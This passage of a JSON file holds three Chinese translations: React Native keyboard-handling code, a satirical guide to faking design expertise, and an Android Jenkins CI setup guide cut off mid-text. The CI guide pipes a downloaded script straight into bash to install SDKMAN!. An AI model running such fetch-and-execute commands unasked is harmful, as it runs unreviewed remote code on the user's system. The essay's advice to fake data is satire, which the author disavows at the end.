    "path": "TODO/how-to-make-your-react-native-app-respond-gracefully-when-the-keyboard-pops-up.md",
    "content": "> * 原文地址：[How to make your React Native app respond gracefully when the keyboard pops up](https://medium.freecodecamp.com/how-to-make-your-react-native-app-respond-gracefully-when-the-keyboard-pops-up-7442c1535580#.usrv32x37)\n* 原文作者：[Spencer Carli](https://medium.freecodecamp.com/@spencer_carli)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[rccoder](https://github.com/rccoder)\n* 校对者：[atuooo](https://github.com/atuooo)、[ZiXYu](https://github.com/ZiXYu)\n\n# 如何让你的 React Native 应用在键盘弹出时优雅地响应\n\n![](https://cdn-images-1.medium.com/max/800/1*YrvCTP6RN8zn7r7W1lJtuQ.gif)\n\n在使用 React Native 应用时，一个常见的问题是当你点击文本输入框时，键盘会弹出并且遮盖住输入框。就像这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*dcFgfha_NfuPIi4YqEnsmQ.gif)\n\n有几种方式可以避免这种情况发生。一些方法比较简单，另一些稍微复杂。一些是可以自定义的，一些是不能自定义的。今天，我将向你展示 3 种不同的方式来避免 React Native 应用中的键盘遮挡问题。\n\n> 文章中所有的代码都托管在 [GitHub](https://github.com/spencercarli/react-native-keyboard-avoidance-examples) 上\n\n## KeyboardAvoidingView\n\n最简单、最容易安装使用的方法是 [KeyboardAvoidingView](https://facebook.github.io/react-native/docs/keyboardavoidingview.html)。这是一个核心组件，同时也非常简单。\n\n你可以使用这段存在键盘覆盖输入框问题的 [代码](https://gist.github.com/spencercarli/8acb7208090f759b0fc2fda3394796f1)，然后更新它，使输入框不再被覆盖。你要做的第一件事是用 `KeyboardAvoidView` 替换 `View`，然后给它加一个 `behavior` 的 prop。查看文档的话你会发现，他可以接收三个不同的值作为参数 —— `height`， `padding`， `position`。我发现 `padding` 的表现是最在我意料之内的，所以我将使用它。\n\n``` javascript\nimport React from 'react';\nimport { View, TextInput, Image, KeyboardAvoidingView } from 'react-native';\nimport styles from './styles';\nimport logo from './logo.png';\n\nconst Demo = () => {\n  return (\n    <KeyboardAvoidingView\n      style={styles.container}\n      behavior=\"padding\"\n    >\n      <Image source={logo} style={styles.logo} />\n      <TextInput\n        placeholder=\"Email\"\n        style={styles.input}\n      />\n      <TextInput\n        placeholder=\"Username\"\n        style={styles.input}\n      />\n      <TextInput\n        placeholder=\"Password\"\n        style={styles.input}\n      />\n      <TextInput\n        placeholder=\"Confirm Password\"\n        style={styles.input}\n      />\n      <View style={{ height: 60 }} />\n    </KeyboardAvoidingView>\n  );\n};\n\nexport default Demo;\n```\n\n它的表现如下，虽然不是非常完美，但几乎不需要任何工作量。这在我看来是相当好的。\n\n![](https://cdn-images-1.medium.com/max/800/1*YrvCTP6RN8zn7r7W1lJtuQ.gif)\n\n需要注意的事，在上个实例代码中的第 30 行，设置了一个高度为 60 的 `View`。我发现  `keyboardAvoidingView` 对最后一个元素不适用，即使是添加了 `padding`/`margin` 属性也不奏效。所以我添加了一个新的元素去 “撑开” 一些像素。\n\n使用这个方法时，顶部的图片会被推出到视图之外。在后面我会告诉你如何解决这个问题。\n\n> 针对 Android 开发者：我发现这种方法是处理这个问题最好，也是唯一的办法。在 `AndroidManifest.xml` 中添加 `android:windowSoftInputMode=\"adjustResize\"`。操作系统将为你解决大部分的问题，KeyboardAvoidingView 会为你解决剩下的问题。参见 [这个](https://gist.github.com/spencercarli/e1b9575c1c8845c2c20b86415dfba3db#file-androidmanifest-xml-L23)。接下的部分可能不适用于你。\n\n## Keyboard Aware ScrollView\n\n下一种解决办法是使用 [react-native-keyboard-aware-scroll-view](https://github.com/APSL/react-native-keyboard-aware-scroll-view)，他会给你很大的冲击。实际上它使用了 `ScrollView` 和 `ListView` 处理所有的事情（取决于你选择的组件），让滑动交互变得更加自然。它另外一个优点是它会自动将屏幕滚动到获得焦点的输入框处，这会带来非常流畅的用户体验。\n\n它的使用方法同样非常简单 —— 只需要替换 [基础代码](https://gist.github.com/spencercarli/8acb7208090f759b0fc2fda3394796f1) 的 `View`。下面是具体代码，我会做一些相关的说明：\n\n``` javascript\nimport React from 'react';\nimport { View, TextInput, Image } from 'react-native';\nimport { KeyboardAwareScrollView } from 'react-native-keyboard-aware-scroll-view'\nimport styles from './styles';\nimport logo from './logo.png';\n\nconst Demo = () => {\n  return (\n    <KeyboardAwareScrollView\n      style={{ backgroundColor: '#4c69a5' }}\n      resetScrollToCoords={{ x: 0, y: 0 }}\n      contentContainerStyle={styles.container}\n      scrollEnabled={false}\n    >\n        <Image source={logo} style={styles.logo} />\n        <TextInput\n          placeholder=\"Email\"\n          style={styles.input}\n        />\n        <TextInput\n          placeholder=\"Username\"\n          style={styles.input}\n        />\n        <TextInput\n          placeholder=\"Password\"\n          style={styles.input}\n        />\n        <TextInput\n          placeholder=\"Confirm Password\"\n          style={styles.input}\n        />\n    </KeyboardAwareScrollView>\n  );\n```\n\n首先你需要设置 `ScrollView` 的 `backgroundColor`（如果你想使用滚动的话）。接下来你需要告诉默认组件在哪里，当你的键盘收起时，界面就会返回到默认的那个位置 —— 如果省略 View 的这个 prop，可能会导致键盘在关闭之后界面依旧停留在顶部。\n\n![](https://cdn-images-1.medium.com/max/1600/1*WzOzG3P9npDpHpFj896nXA.png)\n\n在设置好 `resetScrollToCoords` 这个 prop 之后你需要设置 `contentContainerStyle` —— 这本质上会替换掉你之前给 `View` 设置的样式。最后一件事是禁止掉从用户产生的滚动交互。这可能并不是完全适合你的 UI 交互（比如对于用户需要编辑很多字段的界面），但是在这里，允许用户滚动没有任何意义，因为并没有其它的内容需要用户来进行滚动操作。\n\n把这些所有的 prop 放到一起就会产生下面的效果，看起来很不错：\n\n![](https://cdn-images-1.medium.com/max/1600/1*M64W128GRs8X2IaBbSv7sA.gif)\n\n## Keyboard Module\n\n这是迄今为止最为手动的方式，但也同时给开发者最大的控制权。你可以使用一些动画库来帮助实现之前看到的那种平滑滚动。\n\nReact Native 在官方文档是没有说 Keyboard Module 可以监听从设备上产生的键盘事件。你使用的事件是 `keyboardWillShow` 和 `keyboardWillHide`，来产生一个键盘展开的动画（或者其他信息）。\n\n当 `keyboardWillShow` 事件产生时，需要设置一个动画变量到键盘的最终高度，并使其与键盘弹出滑动时间保持一致。然后你可以用这个动画变量的值在容器的底部设置 `padding`，将所有的内容上移。\n\n我会在后面展示具体代码，先展示一下上面所说的内容会产生的效果：\n\n![](https://cdn-images-1.medium.com/max/800/1*mOhomWU9OwZN8Kieq3Pezw.gif)\n\n这次我将修复 UI 中的那个图片。为此，需要使用动画变量的值来管理图片的高度，你可以在弹出键盘的同时调整图片的高度。下面是具体代码：\n\n``` javascript\nimport React, { Component } from 'react';\nimport { View, TextInput, Image, Animated, Keyboard } from 'react-native';\nimport styles, { IMAGE_HEIGHT, IMAGE_HEIGHT_SMALL} from './styles';\nimport logo from './logo.png';\n\nclass Demo extends Component {\n  constructor(props) {\n    super(props);\n\n    this.keyboardHeight = new Animated.Value(0);\n    this.imageHeight = new Animated.Value(IMAGE_HEIGHT);\n  }\n\n  componentWillMount () {\n    this.keyboardWillShowSub = Keyboard.addListener('keyboardWillShow', this.keyboardWillShow);\n    this.keyboardWillHideSub = Keyboard.addListener('keyboardWillHide', this.keyboardWillHide);\n  }\n\n  componentWillUnmount() {\n    this.keyboardWillShowSub.remove();\n    this.keyboardWillHideSub.remove();\n  }\n\n  keyboardWillShow = (event) => {\n    Animated.parallel([\n      Animated.timing(this.keyboardHeight, {\n        duration: event.duration,\n        toValue: event.endCoordinates.height,\n      }),\n      Animated.timing(this.imageHeight, {\n        duration: event.duration,\n        toValue: IMAGE_HEIGHT_SMALL,\n      }),\n    ]).start();\n  };\n\n  keyboardWillHide = (event) => {\n    Animated.parallel([\n      Animated.timing(this.keyboardHeight, {\n        duration: event.duration,\n        toValue: 0,\n      }),\n      Animated.timing(this.imageHeight, {\n        duration: event.duration,\n        toValue: IMAGE_HEIGHT,\n      }),\n    ]).start();\n  };\n\n  render() {\n    return (\n      <Animated.View style={[styles.container, { paddingBottom: this.keyboardHeight }]}>\n        <Animated.Image source={logo} style={[styles.logo, { height: this.imageHeight }]} />\n        <TextInput\n          placeholder=\"Email\"\n          style={styles.input}\n        />\n        <TextInput\n          placeholder=\"Username\"\n          style={styles.input}\n        />\n        <TextInput\n          placeholder=\"Password\"\n          style={styles.input}\n        />\n        <TextInput\n          placeholder=\"Confirm Password\"\n          style={styles.input}\n        />\n      </Animated.View>\n    );\n  }\n};\n\nexport default Demo;\n```\n\n它确实是一个和其他解决方案不一样的方案。使用 `Animated.View` 和 `Animated.Image` 而非 `View` 和 `Image`，以便可以使用动画变量的值。有趣的部分是 `keyboardWillShow` 和 `keyboardWillHide`，它们会改变动画变量的参数。\n\n这里用两个动画同时并行驱动 UI 的改变。会给你留下下面的印象：\n\n![](https://cdn-images-1.medium.com/max/800/1*Fj87SXCLXlkKsG7aAi_5mg.gif)\n\n虽然写了非常多的代码，但好歹让整个操作看上去非常流畅。你有很大的余地去选择你要做什么，真正的自定义与你所关心内容的互动。\n\n## Combining Options\n\n如果想提炼一些代码，我倾向于结合几种情况在一起。例如： 通选方案 1 和方案 3，你就只需要关心和图像高度相关的动画。\n\n随着 UI 复杂性的增加，使用下面代码会比方案 3 精简很多：\n\n``` javascript\nimport React, { Component } from 'react';\nimport { View, TextInput, Image, Animated, Keyboard, KeyboardAvoidingView } from 'react-native';\nimport styles, { IMAGE_HEIGHT, IMAGE_HEIGHT_SMALL } from './styles';\nimport logo from './logo.png';\n\nclass Demo extends Component {\n  constructor(props) {\n    super(props);\n\n    this.imageHeight = new Animated.Value(IMAGE_HEIGHT);\n  }\n\n  componentWillMount () {\n    this.keyboardWillShowSub = Keyboard.addListener('keyboardWillShow', this.keyboardWillShow);\n    this.keyboardWillHideSub = Keyboard.addListener('keyboardWillHide', this.keyboardWillHide);\n  }\n\n  componentWillUnmount() {\n    this.keyboardWillShowSub.remove();\n    this.keyboardWillHideSub.remove();\n  }\n\n  keyboardWillShow = (event) => {\n    Animated.timing(this.imageHeight, {\n      duration: event.duration,\n      toValue: IMAGE_HEIGHT_SMALL,\n    }).start();\n  };\n\n  keyboardWillHide = (event) => {\n    Animated.timing(this.imageHeight, {\n      duration: event.duration,\n      toValue: IMAGE_HEIGHT,\n    }).start();\n  };\n\n  render() {\n    return (\n      <KeyboardAvoidingView\n        style={styles.container}\n        behavior=\"padding\"\n      >\n          <Animated.Image source={logo} style={[styles.logo, { height: this.imageHeight }]} />\n          <TextInput\n            placeholder=\"Email\"\n            style={styles.input}\n          />\n          <TextInput\n            placeholder=\"Username\"\n            style={styles.input}\n          />\n          <TextInput\n            placeholder=\"Password\"\n            style={styles.input}\n          />\n          <TextInput\n            placeholder=\"Confirm Password\"\n            style={styles.input}\n          />\n      </KeyboardAvoidingView>\n    );\n  }\n};\n\nexport default Demo;\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*g3clh5FFPJzBWt9egIY2cA.gif)\n\n每种实现都有它的优点和缺点 —— 你必须选择最适合给定用户体验的方案。\n"
  },
  {
    "path": "TODO/how-to-pretend-youre-a-great-designer.md",
    "content": "> * 原文地址：[How to pretend you’re a great designer](https://thedesignteam.io/how-to-pretend-youre-a-great-designer-3625de90d79f)\n> * 原文作者：[Pablo Stanley](https://thedesignteam.io/@pablostanley?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Changkun Ou](https://github.com/changkun)\n> * 校对者：[ylq167](https://github.com/ylq167)\n\n# 设计师装腔指南 #\n\n## 假装成为行业思想领袖的经验和技巧 ##\n\n![](https://cdn-images-1.medium.com/max/1000/1*8ted6GIeOq2hxnr9cxwtMw.gif)\n\n> Gabrielle 将使用「喜悦」来解释全部的设计，直到你的瞳孔爆炸。\n\n### **使用「喜悦」来分散注意力** ###\n\n不知道如何解释你的过度使用动画、巧妙的抄袭，或者通用**可爱**的图案吗？只需要说它们通常伴随着「喜悦」就够了！谈谈你是如何理解用户的心理的 —— 如何打造一个人们会喜欢的体验。没有人关心你的方案是否功能健全、是否成本高昂，或者是否有数据支撑你的直觉。提醒所有人，你正在与用户建立持久的感情联系。\n\n**_装腔技巧_**: **向所有人展示马斯洛需求层次理论图，并指出最上层的「自我实现」是多么高层次的追求。**\n\n\n![](https://cdn-images-1.medium.com/max/1000/1*U0hzgnxBdy6UWp-9mJsIOQ.gif)\n\nToby 是一本活脱脱的百科全书.\n\n### 使用行业术语来迷惑他们 ###\n\n不要在意你的工作是否让事情变得容易理解。使用短语像「**整体分析**」或「**品牌故事**」亦或其他让人即使摸不着头脑也不敢问是什么意思的行业术语。你使用的流行语越多，你就越不需要解释你的实际设计思路。\n\n如果一个利益相关人士询问你的设计理由，只要告诉他们诸如「这种设计以社会为导向，以品牌价值为指导，围绕其特性所建立，从而通过共鸣和情感设计来吸引用户」之类的话就可以了，哪怕你只是在设计一个优惠券的输入框。\n\n![](https://cdn-images-1.medium.com/max/1000/1*QsVGLGmSStDhlhNY_LKM9w.gif)\n\nFran 建议：首先，要保持一致！\n\n### 使用一致性作为你的唯一指导原则 ###\n\n忽略情景 —— 一致性更重要！也许你的用户已经熟悉了 iOS、Android 或 Web 模式，但这些模式与你的设计风格是不一样的。你必须保持设计的一致，即便是需要增加用户学习成本 —— 但他们必须查看你独特且复杂的下拉菜单。\n\n如果你的产品经理想要一个最适合移动端的设计，只需要说你正在努力让所有平台的设计保持一致。开发者难道不能让所有元素都做到响应式吗？保持一致性可以让你不用考虑特定场景下的不同解决方案 —— 你只用从所有的东西里复制粘贴就算是完成一天的工作了！\n\n![](https://cdn-images-1.medium.com/max/1000/1*hm7Fr-D0-u4Rav6Og-hmLA.gif)\n\nPaul 理解美学。\n\n### **美学优于功能** ###\n\n忘记用实际有用的工作流程来解决问题。显然，你只需要复制所有在 Dribbble 上看到那些华而不实的效果，并将其运用到你的设计之中。没有人关心调查显示的单个图标效率很低且很难被记住，以及库存的图片根本没有价值这些结论。所有的利益相关者都会因为那些具有弹性动画、像苹果一样的大量留白，和左对齐的瑞士主义设计风格一样感到震惊，没有人会怀疑它能否奏效。\n\n![](https://cdn-images-1.medium.com/max/1000/1*BVWmKNOrZ5uVQs9YU2Hw-Q.gif)\n\nGabrielle 用她的魔力将其他产品的解决方案变成了自己的！\n\n### **学习（照搬）最佳实践** ###\n\n不知道如何解决问题？只需要复制亚马逊、苹果或者 Facebook 的解决方案，并运用自己的风格即可。当有人质疑你时，只要说 **「亚马逊就是这么干的」**。这将教会他们将问题保留到下一次再提问！如果它适用于亚马逊，它肯定适合你，对吧？因为根本没有人在乎你搞的是不是一个电商产品。\n\n![](https://cdn-images-1.medium.com/max/1000/1*_rH6r2v-eKIY9doQOz86jw.gif)\n\nClaude 知道如何制作一个饼状图。\n\n### **使用调查偏差** ###\n\n你是否必须为你花了一整个星期时间搞出来的设计辩护？只需用你进行过的调查或测试中精心挑选的数据创建一个花哨的图表就可以了。数字越大，你的解释就会让人们的印象越深刻！\n\n假如有人要求查看你的方法或来源或想要查看原始数据，只需告诉他们你们的对话应该结束了，然后在这个月剩下的时间里躲避他们就好。\n\n**_装腔技巧_:** **如果你有能力，做一个假的幻灯片，让大家接受你的结论。 比如，「我们的登录页的跳出率与 Pokemon Go 的下载量相关，因此我们应该将增强现实添加到我们的页面」。**\n\n![](https://cdn-images-1.medium.com/max/1000/1*mgeKX-DlW-obHhFUGBB6xA.gif)\n\nFran 在沉默中看着她的工作。\n\n### **让人们觉得你很忙** ###\n\n没有什么比满墙贴满他人的作品更能给路人留下深刻印象的了。打印其他产品的截屏，这叫「竞品分析」；把所有的 Pinterest 上有才华的设计都放上去，这叫「灵感来源」；把所有你探索过的糟糕的迭代过程做成拼图放在一起，这叫「想法形成」。始终追求数量，而不是质量。不管是有意义还是没意义的，钉上在墙后都是有意义的。重要的是要让人们相信你有一个有创造力且忙碌的头脑。\n\n**_装腔技巧_:** **默默地盯着墙看几个小时，你的同事会认为你在沉思。如果你 [在你的眼皮上画上眼睛](https://www.youtube.com/watch?v=U6qBnykH0DU) ，还能打会盹儿。**\n\n![](https://cdn-images-1.medium.com/max/1000/1*gB-SyYrl3WXBYDW2Up7lWQ.gif)\n\nPetunia 马上就要成为一个伟大的设计师了!\n\n### **使用模棱两可的视觉表现** ###\n\n大家都会画韦恩图，但他们能用完美的等边三角形来做吗？\n\n你可以使用双重 ▲▲ 甚至三重 ▲▲▲ 三角形图来打动你的同事。这不仅会让每个人都同意你偷换的概念，还会让他们觉得你你具有创造性思维，并用简单的方式解释复杂的想法。\n\n**_装腔技巧_:** **总是将「价值」写在图标相交的区域里！**\n\n![](https://cdn-images-1.medium.com/max/1000/1*VImvvTlomv4aX8E_UbUlUQ.gif)\n\nPaul 知道如何创建一个量身定做的产品。\n\n### **扭曲用户中心设计** ###\n\n如果你不用「用户中心设计」（HCD），那么你不够现代。当我们谈论「用」时，我们实际在谈论「讨论它」而已。让每个人都知道他们需要如何理解用户的需求和能力。如何建立共鸣对创造有意义的产品至关重要。如果没有用户中心设计，谁还会在意其他事情是否已经成功地设计好了呢？不用在意这个方法是否适合你，更不用在意如果把产品定制为某种特定的人群是否会疏远他人。如果你忽略了他们的建议，这并不重要。用你是多么地「**关心**」用户来打动大家就可以了。\n\n![](https://cdn-images-1.medium.com/max/1000/1*J0AFQkt36gUyNqjaFm3lIw.gif)\n\nPaul 确实了解他的主要用户。\n\n### **专注你独占的市场** ###\n\n好吧，他们信任你的那套「用户中心设计」了，现在他们想要一个无障碍设计怎么办？不要担心，你只需要指出，对网站进行无障碍需要花很长时间和很多钱。然后假设你的目标市场有着最先进的计算机和互联网连接，而且用户都是健康、甚至都没有见过医生的 00 后就可以了。你怎么知道的？因为你是他们中的一员！你自己就是用户！\n\n而且，老实说，无障碍设计可能让你永远没法在页面上添加的那些炫酷动画了。\n\n> 文本标签？太丑了!\n> 高对比度组合？很糟糕！\n> 清晰的导航？毫无意义！\n\n不用担心那些为了能获得更多受众而进行的无障碍设计、可用性提升，或者是让网站变得 SEO 友好。你只需要使用视差滚动效果和一台具有精细的低对比度调色板的雷电接口的显示器就足够了。\n\n### 严肃的说 ###\n\n而上面所有这些「技巧」都是不靠谱的，它们其实展示了我自己曾经犯过的错误。可以这么说，这些只是我们所做的一切事情的副作用。我们正在不断尝试不同的事物，看看什么是有效的、什么是不适应不断变化的用户的需求和技术。从表面上看，一切都是可以理解的，但我必须承认，我有时不知道我所做的事情是否正确。\n\n不知道你是否有这样的感觉：当所有人都意识到你是一个骗子的时候，你是否会感到害怕吗？你是否曾今假装自己能做到？我最近听说这叫「骗子综合症」。我从来没有像搬到旧金山之后感受如此强烈。当我开始在一家创业公司工作时，我发现我需要学习很多东西。我感到不安，且失去了利用我的个人魅力来获得别人认可的能力。所以我觉得我的设计工作还做得不够好。\n\n无论如何，我相信情况正在好转。或者至少我已经变得更加善于伪装了。\n\n**设计团队**\n\n- [thedesignteam.io](http://thedesignteam.io) 上的漫画每周二更新。\n- 我是 [Pablo Stanley](https://twitter.com/pablostanley) 。点击 [订阅](http://eepurl.com/cbWwtz) 可以收到我的「垃圾邮件」。我教授一门 [设计课程](https://www.youtube.com/c/sketchtogethertv)，同时我还在一家名为 [Carbon Health](https://carbonhealth.com/) 的医疗保健创业公司工作。\n\n- 感谢 [Courtney M. Sawyer](https://medium.com/@courtneymsawyer) , [Michael Lorton](https://medium.com/@michaellorton) , [Edgar chaparro](https://medium.com/@Echaparro), 和 [Frances Tung](https://medium.com/@francestung) 的全部支持。\n\n> [Read Previous: The Design Process](https://thedesignteam.io/the-design-process-67df3e8ec68f#.lv47slyvv) \n> [Another cool one: From a Product Perspective](https://thedesignteam.io/from-a-product-perspective-2f5185a43827) \n> [The First One: The Onboard-a-Buddy](https://medium.com/the-design-team/the-onboard-a-buddy-71169e460f04#.iru2t3tub) \n\n- 感谢 Edgar Chaparro, Michael Lorton 以及 Courtney Sawyer.\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/how-to-set-up-a-continuous-integration-server-for-android-development-ubuntu-jenkins-sonarqube.md",
    "content": "> * 原文地址：[How to set up a Continuous Integration server for Android development (Ubuntu + Jenkins + SonarQube)](https://pamartinezandres.com/how-to-set-up-a-continuous-integration-server-for-android-development-ubuntu-jenkins-sonarqube-43c1ed6b08d3#.sylq0wmfq)\n* 原文作者：[Pablo A. Martínez](https://pamartinezandres.com/@pamartineza?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[skyar2009](https://github.com/skyar2009)\n* 校对者：[jifaxu](https://github.com/jifaxu), [tanglie1993](https://github.com/tanglie1993)\n\n# 如何搭建安卓开发持续化集成环境（Ubuntu + Jenkins + SonarQube） #\n\n我最近换了一台新的 MacBook Pro 作为我的 Android 开发机。旧的 Mac BookPro （13英寸，2011款，16GB 内存，500G SSD，i5 内核 2.4GHz，64位）我并没有卖掉或丢掉，而是装了 MacOS-Ubuntu 双系统作为持续化集成环境服务器。\n\n本文目标是总结安装步骤，以便广大开发者朋友和我自己将来在搭建自己的 CI 时参考，主要内容如下：\n\n- 在全新的 Ubuntu 环境下安装 Android SDK。\n\n- 搭建 Jenkins CI 服务，在其基础上从 GitHub 上获取代码、编译一个多模块的 Android 项目，并对其进行测试。\n\n- 安装 Docker 容器，并在其上安装 MySQL 服务和 SonarQube，以实现 Jenkins 触发的静态代码分析。\n\n- Android App 配置需求。\n\n### 第 1 步 —— 安装 Ubuntu： ###\n\n我之所以选择 Ubuntu 作为 CI 的操作系统，是因为它有着强大的社区，方便对可能遇到的问题寻求帮助，我个人建议使用最新的 LTS 版本，目前是 16.04 LTS。因为有许多 Ubuntu 安装教程（虚拟机和真机），所以这里我只提供下载链接。\n\n[安装 Ubuntu 16.04 LTS 桌面版](https://www.ubuntu.com/download/desktop)\n\n你可能会对我选择桌面版而不是选择服务器版而感到疑惑，这只是个人的偏好，我并不介意因为有界面交互而带来的性能和可用内存的少量损失，因为我认为 GUI 对提高工作效率的帮助大过消耗。\n\n### 第 2 步 —— 远程访问管理： ###\n\n#### **SSH服务:** ####\n\nUbuntu 桌面版默认并没有安装 ssh 服务，因此如果需要远程管理你的服务器还需要手动安装，安装命令如下：\n\n```\n$ sudo apt-get install openssh-server\n```\n\n#### **NoMachine 远程桌面：** ####\n\n可能你的 CI 没在你眼前而是在你的路由器附近、别的屋子甚至几公里外的地方。我使用过多种远程桌面程序，IMHO NOMachine 是最好的一款，它平台无关并且仅仅需要你的 ssh 凭证。（当然 CI 服务器和你的本机都需要进行安装）\n\n\n[**NoMachine - 对任何人都免费**](https://www.nomachine.com/download)\n\n\n### 第 3 步 —— 环境配置 ###\n\n下面我将安装 Jenkins pull 代码、编译运行 android 项目所依赖工具，包括 JAVA8，Git，和 Android SDK。\n\n#### **SDKMAN!:** ####\n\nSDKMAN! 是一个非常酷的命令行工具，它支持主流的 SDK（例如：Gradle, Groovy, Grails, Kotlin, Scala 等），它可以提供可用列表供我们选择并可以方便地在不同版本之间进行切换。\n\n[**SDKMAN! 软件开发工具管理器**](http://sdkman.io/) \n\nSDKMAN! 最近支持了 JAVA8，所以我选择使用它而不是主流的 webupd8 库来安装 JAVA 环境，当对你而言用不用 SDKMAN! 都可以，不过我认为将来你一定会用。\n\n安装 SDKMAN! 只需要执行下面的命令：\n\n```\n$ curl -s \"https://get.sdkman.io\" | bash\n```\n\n\n#### Oracle JAVA8: ####\n\n如果前面已经安装了 SDKMAN! ，安装 JAVA8 只需要简单的执行下面的命令：\n\n```\n$ sdk install java\n```\n\n或者使用 webupd8 库进行安装：\n\n[**Ubuntu 或 Linux Mint 通过 PPA 库安装 Java 8 [JDK8]**](http://www.webupd8.org/2012/09/install-oracle-java-8-in-ubuntu-via-ppa.html)\n\n\n#### **Git:** ####\n\n安装 git 非常简单，不需要多说：\n\n```\n$ sudo apt install git\n```\n\n\n#### **Android SDK:** ####\n\n在本页的底部：\n\n[**下载 Android Studio 和 SDK 工具 | Android Studio**](https://developer.android.com/studio/index.html)\n\n\n你可以看到 “**Get just the command line tools**”，复制像下面的链接：\n\n[https://dl.google.com/android/repository/tools_r25.2.3-linux.zip](https://dl.google.com/android/repository/tools_r25.2.3-linux.zip) \n\n\n然后下载并解压到 /opt/android-sdk-linux\n\n```\n$ cd /opt\n$ sudo wget [https://dl.google.com/android/repository/tools_r25.2.3-linux.zip](https://dl.google.com/android/repository/tools_r25.2.3-linux.zip)\n$ sudo unzip tools_r25.2.3-linux.zip -d android-sdk-linux\n```\n\n因为我们是使用 root 用户创建的目录，我们需要修改目录权限允许主用户对其读和写：\n\n```\n$ sudo chown -R YOUR_USERNAME:YOUR_USERNAME android-sdk-linux/\n```\n\n接下来修改 /.bashrc 来配置 SDK 环境变量：\n\n```\n$ cd\n$ nano .bashrc\n```\n\n在文件的底部（SDKMAN! 配置之前）添加如下内容：\n\n```\nexport ANDROID_HOME=\"/opt/android-sdk-linux\"\nexport PATH=\"$ANDROID_HOME/tools:$ANDROID_HOME/platform-tools:$PATH\"\n```\n\n关掉终端并重新打开一个，以确认环境变量配置正确（译者注：不关闭，执行 source ~/.bashrc 也可以）\n\n```\n$ echo $ANDROID_HOME\n/opt/android-sdk-linux\n```\n\n接着打开 Android SDK Manager 的窗口程序，安装你需要的平台版本以及依赖\n\n```\n$ android\n```\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*Q4o_LpfC5A3evFUwd62MOQ.png\">\n\nAndroid SDK Manager 界面\n\n\n### 第 4 步 —— Jenkins 服务: ###\n\n接下来我将描述 Jenkins 的安装与配置，并创建一个 Jenkins 任务来拉取 Android 项目代码并对其进行编译和测试，以及查看控制台输出。\n\n#### Jenkins 安装: ####\n\nJenkins 可以从官网获得：\n\n[**Jenkins**](https://jenkins.io/)\n\n有多方式可以运行 **Jenkins**，例如运行一个 **.war** 文件，作为一个 linux **服务**， 作为一个 Docker **容器** 等。\n\n我的第一反应是使用 Docker 容器的方式安装，但我发现那简直是个噩梦，因为我需要配置代码目录、android-sdk 目录的可见性，以及运行 Android 测试的物理可插拔设备 USB 的可见性。\n\n为了方便使用，我最终选择将它作为服务使用，通过 **apt** 来安装、更新稳定的版本\n\n```\n$ wget -q -O - [https://pkg.jenkins.io/debian-stable/jenkins.io.key](https://pkg.jenkins.io/debian-stable/jenkins.io.key)| sudo apt-key add -\n```\n\n修改 sources.list 文件\n\n```\n$ sudo nano /etc/apt/sources.list\n```\n\n添加如下内容\n\n```\n#Jenkin Stable\ndeb https://pkg.jenkins.io/debian-stable binary/\n```\n\n然后安装\n\n```\nsudo apt-get update\nsudo apt-get install jenkins\n```\n\n将 *jenkins* 用户添加到你的用户组，确保其对 Android SDK 目录有读写权限\n\n```\n$ sudo usermod -a -G YOUR_USERNAME jenkins\n```\n\nJenkins 服务会在开机的时候自启动，可以通过 [http://localhost:8080](http://localhost:8080) 进行访问\n\n为了安全起见，刚刚装完显示的是如下的页面，只需要跟着说明就可以完成 Jenkins 的启动了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*gN6-ncU7mRdQWL3wmlS_5g.png\">\n\n解锁成功安装的 Jenkins 服务\n\n#### Jenkins 配置: ####\n\nJenkins 解锁后需要安装插件，点击 “**Select plugins to Install**” 浏览、选择如下建议的插件，然后进行安装\n\n- JUnit\n\n[**JUnit Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/JUnit+Plugin)\n\n- JaCoCo\n\n[**JaCoCo Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/JaCoCo+Plugin)\n\n\n- EnvInject\n\n[**EnvInject Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/EnvInject+Plugin) \n\n- GitHub plugins\n\n[**GitHub Plugin - Jenkins - Jenkins Wiki**](https://wiki.jenkins-ci.org/display/JENKINS/GitHub+Plugin)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*xvG06qRSCvfw5OQgQleG0A.png\">\n\n安装 Jenkins 插件\n\n创建 admin 完成安装。\n\n在配置完成之前，我们还要配置 ANDROID_HOME 和 JAVA_HOME：\n\n点击进入 Manage Jenkins > Configure 页面\n\n\n滚动到 **Global properties** 部分，勾选 **Environment variables** 选项，将 *ANDROID_HOME* 和 *JAVA_HOME* 填好\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*rpgkUsqWhkHk4xOKCGPcvw.png\">\n\n添加全局的环境变量\n\n#### **创建 “Jenkins 任务”** ####\n\nJenkins 任务由一系列连续执行的步骤组成。我在 GitHub 上准备了一个 “Hello Jenkins” 的 Android 工程，如果你是跟着本教程做的，你可以用来测试你的Jenkins配置。这只是一个简单的多模块 app，包括单元测试、Android 测试 以及 JaCoCo 和 SonarQube 